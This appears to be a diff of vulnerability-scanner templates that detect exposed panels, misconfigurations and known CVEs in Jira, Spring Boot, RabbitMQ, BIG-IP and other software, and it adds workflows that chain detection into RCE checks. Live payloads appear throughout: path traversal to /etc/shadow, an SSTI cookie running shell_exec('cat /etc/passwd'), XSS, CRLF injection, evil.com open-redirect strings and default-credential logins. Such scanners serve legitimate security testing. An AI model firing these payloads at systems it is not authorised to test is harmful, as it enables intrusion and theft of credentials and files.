@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wp-content/uploads/"
+    matchers-condition: and
     matchers:
       - type: status
         status:

files/wordpress-user-enumeration.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wp-json/wp/v2/users/"
+    matchers-condition: and
     matchers:
       - type: status
         status:

files/zip-backup-files.yaml

@@ -31,6 +31,7 @@ requests:
       - "{{BaseURL}}/{{Hostname}}.sql.zip"
       - "{{BaseURL}}/{{Hostname}}.sql.z"
       - "{{BaseURL}}/{{Hostname}}.sql.tar.z"
+    matchers-condition: and
     matchers:
       - type: binary
         binary:

panels/docker-api.yaml

@@ -2,16 +2,28 @@ id: exposed-docker-api
 
 info:
   name: Exposed Docker API
-  author: furkansenan
+  author: furkansenan & dwisiswant0
   severity: informative
 
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}:2376/version'
+      - "http://{{Hostname}}/version"
+      - "http://{{Hostname}}:2376/version"
+      - "http://{{Hostname}}/v1.24/version"
+      - "http://{{Hostname}}:2376/v1.24/version"
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "Version"
-          - "Docker"
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "KernelVersion"
+          - "BuildTime"
+        condition: and
         part: body
+      - type: status
+        status:
+          - 200

panels/kubernetes-pods.yaml

@@ -7,6 +7,7 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}:10250/pods'
+    matchers-condition: and
     matchers:
       - type: word
         words:

panels/rabbitmq-dashboard.yaml

@@ -0,0 +1,16 @@
+id: rabbitmq-dashboard
+
+info:
+  name: RabbitMQ Dashboard
+  author: fyoorer
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+    matchers:
+      - type: word
+        words:
+          - "RabbitMQ Management"
+        part: body

security-misconfiguration/front-page-misconfig.yaml

@@ -3,8 +3,8 @@ id: front-page-misconfig
 info:
   name: FrontPage configuration information discloure
   author: JTeles
-  severity: low
-  # reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
+  severity: info
+  # Reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
 
 requests:
   - method: GET

security-misconfiguration/jira-service-desk-signup.yaml

@@ -12,6 +12,7 @@ requests:
     headers:
       Content-Type: application/json
     body: '{"email":"invalid","signUpContext":{},"secondaryEmail":"","usingNewUi":true}'
+    matchers-condition: and
     matchers:
       - type: word
         words:

security-misconfiguration/jira-unauthenticated-dashboards.yaml

@@ -0,0 +1,29 @@
+id: jira-unauthenticated-dashboards
+
+# If public sharing is ON it allows users to share dashboards and filters with all users including
+# those that are not logged in. Those dashboard and filters could reveal potentially sensitive information.
+
+info:
+  name: Jira Unauthenticated Dashboards
+  author: TechbrunchFR
+  severity: Info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rest/api/2/dashboard?maxResults=100"
+    matchers:
+      - type: word
+        words:
+          - 'dashboards'
+          - 'startAt'
+          - 'maxResults'
+        condition: and
+
+# Remediation:
+# Ensure that this permission is restricted to specific groups that require it.
+# You can restrict it in Administration > System > Global Permissions.
+# Turning the feature off will not affect existing filters and dashboards.
+# If you change this setting, you will still need to update the existing filters and dashboards if they have already been
+# shared publicly.
+# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced.

security-misconfiguration/jira-unauthenticated-popular-filters.yaml

@@ -0,0 +1,23 @@
+id: jira-unauthenticated-popular-filters
+
+info:
+  name: Jira Unauthenticated Popular Filters
+  author: TechbrunchFR
+  severity: Info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ManageFilters.jspa?filter=popular&filterView=popular"
+    matchers:
+      - type: word
+        words:
+          - 'filterlink_'
+
+# Remediation:
+# Ensure that this permission is restricted to specific groups that require it.
+# You can restrict it in Administration > System > Global Permissions.
+# Turning the feature off will not affect existing filters and dashboards.
+# If you change this setting, you will still need to update the existing filters and dashboards if they have already been
+# shared publicly.
+# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced.

security-misconfiguration/jira-unauthenticated-projects.yaml

@@ -0,0 +1,18 @@
+id: jira-unauthenticated-projects
+
+info:
+  name: Jira Unauthenticated Projects
+  author: TechbrunchFR
+  severity: Info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rest/api/2/project?maxResults=100"
+    matchers:
+      - type: word
+        words:
+          - 'projects'
+          - 'startAt'
+          - 'maxResults'
+        condition: and

security-misconfiguration/jira-unauthenticated-user-picker.yaml

@@ -0,0 +1,15 @@
+id: jira-unauthenticated-user-picker
+
+info:
+  name: Jira Unauthenticated User Picker
+  author: TechbrunchFR
+  severity: High
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/popups/UserPickerBrowser.jspa"
+    matchers:
+      - type: word
+        words:
+          - 'user-picker'

security-misconfiguration/rabbitmq-default-admin.yaml

@@ -0,0 +1,27 @@
+id: rabbitmq-default-admin
+
+info:
+  name: RabbitMQ Default Credentials
+  author: fyoorer & dwisiswant0
+  severity: High
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/api/whoami"
+      - "{{BaseURL}}:15672/api/whoami"
+    headers:
+      Authorization: "Basic Z3Vlc3Q6Z3Vlc3Q="
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "{\"name\":\"guest\""
+        part: body
+      - type: status
+        status:
+          - 200

security-misconfiguration/rack-mini-profiler.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/?pp=env"
+
+    matchers-condition: and
     matchers:
       - type: word
         words:

security-misconfiguration/springboot-detect.yaml

@@ -64,16 +64,19 @@ requests:
       - "{{BaseURL}}/info"
       - "{{BaseURL}}/jolokia"
       - "{{BaseURL}}/jolokia/list"
+      - "{{BaseURL}}:8090/jolokia"
+      - "{{BaseURL}}:8090/jolokia/list"
       - "{{BaseURL}}/loggers"
       - "{{BaseURL}}/management"
       - "{{BaseURL}}/mappings"
       - "{{BaseURL}}/metrics"
       - "{{BaseURL}}/threaddump"
       - "{{BaseURL}}/trace"
+    matchers-condition: and
     matchers:
-      - type: regex
+      - type: word
         part: body
-        regex:
+        words:
           - "method"
           - "spring"
           - "TYPE"
@@ -82,13 +85,17 @@ requests:
           - "cron"
           - "reloadByURL"
           - "JMXConfigurator"
+          - "JMImplementation"
+          - "EnvironmentManager"
         condition: or
       - type: status
         status:
           - 200
       - type: word
         words:
+          - "X-Application-Context"
           - "application/json"
+          - "application/vnd.spring-boot.actuator.v2+json"
           - "hprof"
         condition: or
         part: header

technologies/bigip-config-utility-detect.yaml

@@ -0,0 +1,33 @@
+id: bigip-config-utility
+
+info:
+  name: BIG-IP Configuration Utility detected
+  author: dwisiswant0
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tmui/login.jsp"
+      - "{{BaseURL}}/tmui/tmui/login/welcome.jsp"
+    matchers:
+      - type: word
+        words:
+          - "Welcome to the BIG-IP"
+          - "Configuration Utility"
+        condition: and
+        part: body
+  - method: GET
+    path:
+      - "{{BaseURL}}/mgmt/tm/sys/management-ip"
+    matchers:
+      - type: word
+        words:
+          - "WWW-Authenticate: Basic realm"
+          - "Enterprise Manager"
+        condition: and
+        part: header
+      - type: word
+        words:
+          - "check your user-id and password and try again"
+        part: body

technologies/netsweeper-webadmin-detect.yaml

@@ -0,0 +1,26 @@
+id: netsweeper-webadmin-detect
+
+info:
+  name: Netsweeper WebAdmin detected
+  author: dwisiswant0
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/webadmin/start/"
+      - "{{BaseURL}}/webadmin/tools/systemstatus_remote.php"
+    headers:
+      Referer: "http://{{Hostname}}/webadmin/admin/systemstatus_inc_data.php"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "Version: ([\\d.]+)"
+          - "Powered by netsweeper"
+          - "Netsweeper Inc"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200

tokens/amazon-mws-auth-token-value.yaml

@@ -11,6 +11,8 @@ requests:
         regex:
           - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
         type: regex
+
+    matchers-condition: and
     matchers:
       - part: body
         regex:

tokens/aws-access-key-value.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/google-api-key.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/http-username-password.yaml

@@ -12,6 +12,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/mailchimp-api-key.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

tokens/slack-access-token.yaml

@@ -12,6 +12,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}"
+
+    matchers-condition: and
     matchers:
       - type: regex
         part: body

vulnerabilities/cached-aem-pages.yaml

@@ -13,6 +13,7 @@ requests:
     headers:
       CQ-Handle: /content
       CQ-Path: /content
+    matchers-condition: and
     matchers:
       - type: word
         words:

vulnerabilities/crlf-injection.yaml

@@ -2,14 +2,19 @@ id: crlf-injection
 
 info:
   name: CRLF injection
-  author: nadino
+  author: melbadry9 & nadino
   severity: low
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/%0D%0ASet-Cookie:crlfinjection=crlfinjection"
-      - "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection"  # Unicode bypass
+      - "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection"    # unicode bypass
+      - "{{BaseURL}}/%0DSet-Cookie:crlfinjection=crlfinjection"
+      - "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"
+      - "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
+      - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.."    # Apache
+      - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"    # CVE-2016-4975
     matchers:
       - type: regex
         regex:

vulnerabilities/discourse-xss.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}/email/[email protected]%27\"><svg/onload=alert(1337)>'
+    matchers-condition: and
     matchers:
       - type: status
         status:

vulnerabilities/git-config-nginxoffbyslash.yaml

@@ -3,7 +3,7 @@ info:
   name: Git config nginx off by slash
   author: organiccrap
   severity: medium
-  #https://twitter.com/Random_Robbie/status/1262676628167110656
+  # https://twitter.com/Random_Robbie/status/1262676628167110656
 requests:
   - method: GET
     path:

vulnerabilities/ibm-infoprint-directory-traversal.yaml

@@ -0,0 +1,22 @@
+id: IBM InfoPrint Directory Traversal
+
+info:
+  name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal
+  author: Harsh Bothra
+  severity: Medium
+
+# source:- https://www.exploit-db.com/exploits/47835
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/./../../../../../../../../../../etc/shadow'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "root:::"

vulnerabilities/moodle-filter-jmol-lfi.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

vulnerabilities/moodle-filter-jmol-xss.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/filter/jmol/iframe.php?_USE=%22};alert(1337);//"
+    matchers-condition: and
     matchers:
       - type: status
         status:

vulnerabilities/open-redirect.yaml

@@ -2,7 +2,7 @@ id: open-redirect
 
 info:
   name: Open Redirect Detection
-  author: Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
+  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
   severity: low
 
 requests:
@@ -12,7 +12,12 @@ requests:
       - "{{BaseURL}}/evil.com/"
       - "{{BaseURL}}///;@evil.com"
       - "{{BaseURL}}/////evil.com"
-      - "{{BaseURL}}/?next=evil.com&content=evil.com&counturl=evil.com&dest_url=evil.com&document=evil.com&domain=evil.com&download=evil.com&file=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&Page=evil.com&pageurl=evil.com&page_url=evil.com&picture=evil.com&referrer=evil.com&req=evil.com&request=evil.com&source=evil.com&src=evil.com&uri=evil.com&url=evil.com&_url=evil.com&target=evil.com&redirect=evil.com&redirectUrl=evil.com&redirectUri&rurl=evil.com&next=evil.com&redir=evil.com&to=evil.com&image_url=evil.com&return=evil.com&returnTo=evil.com&return_to=evil.com&return_path=evil.com&retUrl=evil.com&checkout_url=evil.com&continue=evil.com&continueTo=evil.com&url=evil.com&done=evil.com&uri=evil.com&proxy=evil.com"
+      - "{{BaseURL}}//evil.com/%2F.." # Node.js
+      - "{{BaseURL}}//evil.com/..;/css" # Tomcat
+      - "{{BaseURL}}/evil%E3%80%82com" # special char urlencoded
+      - "{{BaseURL}}/%5Cevil.com"
+      # common vulnerable parameters
+      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com"
     matchers:
       - type: regex
         regex:

vulnerabilities/pdf-signer-ssti-to-rce.yaml

@@ -11,6 +11,7 @@ requests:
       - "{{BaseURL}}/"
     headers:
       Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
+    matchers-condition: and
     matchers:
       - type: status
         status:

vulnerabilities/symfony-debugmode.yaml

@@ -3,7 +3,7 @@ info:
   name: Symfony Debug Mode
   author: organiccrap
   severity: high
-  #https://github.com/synacktiv/eos
+  # https://github.com/synacktiv/eos
 requests:
   - method: GET
     path:

vulnerabilities/tomcat-manager-pathnormalization.yaml

@@ -3,7 +3,7 @@ info:
   name: Tomcat Manager Path Normalization
   author: organiccrap
   severity: info
-  #https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
+  # https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
 requests:
   - method: GET
     path:

workflows/bigip-pwner-workflow.yaml

@@ -0,0 +1,15 @@
+id: bigip-pwner-workflow
+
+info:
+  name: F5 BIG-IP RCE Workflow
+  author: dwisiswant0
+
+variables:
+  bigip_config_utility: technologies/bigip-config-utility-detect.yaml
+  bigip_cve_2020_5902: cves/CVE-2020-5902.yaml
+
+logic:
+  |
+  if bigip_config_utility() {
+    bigip_cve_2020_5902()
+  }

workflows/jira-exploitaiton-workflow.yaml

@@ -0,0 +1,34 @@
+id: jira-exploitaiton-workflow
+
+info:
+        name: Jira Exploitaiton workflow
+        author: micha3lb3n
+
+variables:
+        jira_detect: technologies/jira-detect.yaml
+        jira_signup: security-misconfiguration/jira-service-desk-signup.yaml
+        jira_projects: security-misconfiguration/jira-unauthenticated-projects.yaml
+        jira_dashboard: security-misconfiguration/jira-unauthenticated-dashboards.yaml
+        jira_filters: security-misconfiguration/jira-unauthenticated-popular-filters.yaml
+        jira_user_picker: security-misconfiguration/jira-unauthenticated-user-picker.yaml
+        jira_cve_1: cves/CVE-2019-8449.yaml
+        jira_cve_2: cves/CVE-2019-8451.yaml
+        jira_cve_3: cves/CVE-2017-9506.yaml
+        jira_cve_4: cves/CVE-2018-20824.yaml
+        jira_cve_5: cves/CVE-2019-3396.yaml
+
+
+logic:
+        |
+        if jira_detect(){
+                jira_signup()
+                jira_projects()
+                jira_dashboard()
+                jira_filters()
+                jira_user_picker()
+                jira_cve_1()
+                jira_cve_2()
+                jira_cve_3()
+                jira_cve_4()
+                jira_cve_5()
+        }

workflows/liferay-rce-workflow.yaml

@@ -0,0 +1,15 @@
+id: liferay-rce-workflow
+
+info:
+  name: Liferay RCE Workflow
+  author: dwisiswant0
+
+variables:
+  liferay_portal: technologies/liferay-portal-detect.yaml
+  liferay_portal_cve: cves/CVE-2020-7961.yaml
+
+logic:
+  |
+  if liferay_portal() {
+    liferay_portal_cve()
+  }

workflows/netsweeper-preauth-rce-workflow.yaml

@@ -0,0 +1,15 @@
+id: netsweeper-preauth-rce-workflow
+
+info:
+  name: Netsweeper PreAuth RCE Workflow
+  author: dwisiswant0
+
+variables:
+  netsweeper_webadmin: technologies/netsweeper-webadmin-detect.yaml
+  netsweeper_webadmin_cve_1: cves/CVE-2020-13167.yaml
+
+logic:
+  |
+  if netsweeper_webadmin() {
+    netsweeper_webadmin_cve_1()
+  }

workflows/rabbitmq-workflow.yaml

@@ -0,0 +1,15 @@
+id: rabbitmq-workflow
+
+info:
+  name: RabbitMQ Workflow
+  author: fyoorer
+
+variables:
+  rabbitmq_dashboard: panels/rabbitmq-dashboard.yaml
+  rabbitmq_default_admin: security-misconfiguration/rabbitmq-default-admin.yaml
+
+logic:
+  |
+  if rabbitmq_dashboard() {
+    rabbitmq_default_admin()
+  }

workflows/springboot-pwner-workflow.yaml

@@ -0,0 +1,21 @@
+id: springboot-pwner-workflow
+
+info:
+  name: Spring Boot Pwner
+  author: dwisiswant0
+
+variables:
+  springboot: security-misconfiguration/springboot-detect.yaml
+  springboot_cve_2018_1271: cves/CVE-2018-1271.yaml
+  springboot_cve_2019_3799: cves/CVE-2019-3799.yaml
+  springboot_cve_2020_5410: cves/CVE-2020-5410.yaml
+  springboot_xxe: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
+
+logic:
+  |
+  if springboot() {
+    springboot_cve_2018_1271()
+    springboot_cve_2019_3799()
+    springboot_cve_2020_5410()
+    springboot_xxe()
+  }